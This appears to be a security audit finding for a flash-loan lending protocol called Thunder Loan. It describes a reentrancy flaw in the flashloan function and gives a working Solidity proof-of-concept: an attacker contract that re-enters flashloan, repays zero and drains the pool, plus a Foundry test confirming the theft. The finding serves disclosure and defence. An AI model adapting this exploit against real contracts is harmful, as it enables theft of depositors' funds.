Summary
The function flashloan can be reentrancy allowing an attacker to withdraw all money
Vulnerability Details
The function function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external can be reentrancy allowing an attacker to withdraw all money
Impact
An attacker can set up a malicious contract with executeOperation function. Inside that function monitor the balance of assetToken then call again to flashloan. In the callback function both 3 variables: endingBalance and startingBalance and fee be zero cause the transferUnderlyingTo already happen in the previous call flashloan.
In the second executeOperation, the attacker contract only need to call repay with amount+fee=0 and steal all money from Thunder loan
POC
pragma solidity 0.8.20;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { IThunderLoan, IMaliciousThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { Test, console } from "forge-std/Test.sol";
contract FlashLoanReceiverReentrancy {
    using SafeERC20 for IERC20;
    uint256 reentrancyCount;
    address s_thunderLoan;
    constructor(address thunderLoan) {
        s_thunderLoan = thunderLoan;
    }
    function callToThunderLoan(IERC20 token) external {
        
        AssetToken assetToken = IMaliciousThunderLoan(s_thunderLoan).getAssetFromToken(token);
        uint256 allBalance = IERC20(token).balanceOf(address(assetToken));
        console.log("all Balance", allBalance);
        IMaliciousThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), allBalance, "");
    }
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata 
    )
        external
        returns (bool)
    {
        reentrancyCount++;
        if (reentrancyCount == 2) {
            IMaliciousThunderLoan(s_thunderLoan).repay(token, 0);
        }
        IERC20(token).approve(s_thunderLoan, amount + fee);
        
        IMaliciousThunderLoan(s_thunderLoan).flashloan(address(this), IERC20(token), 0, "");
        return true;
    }
}
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { FlashLoanReceiverReentrancy } from "../mocks/FlashLoanReceiverReentrancy.sol";
contract ThunderLoanReentrancyTest is BaseTest {
    uint256 constant AMOUNT = 10e18;
    address user = address(456);
    address liquidityProvider = address(123);
    FlashLoanReceiverReentrancy flashLoanReceiverReentrancy;
    function setUp() public override {
        super.setUp();
        vm.prank(user);
        flashLoanReceiverReentrancy = new FlashLoanReceiverReentrancy(address(thunderLoan));
    }
    modifier setAllowedToken() {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        tokenA.mint(liquidityProvider, AMOUNT);
        _;
    }
    modifier hasDeposit() {
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();
        _;
    }
     function testReentrancy() public setAllowedToken hasDeposit {
        vm.prank(user);
        flashLoanReceiverReentrancy.callToThunderLoan(tokenA);
        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        assertEq(asset.balanceOf(address(flashLoanReceiverReentrancy)), AMOUNT);
    }
}
Tools Used
Manual
Foundry
Recommendations
Use some oppenzepplin pattern to prevent reentrancy for flashloan function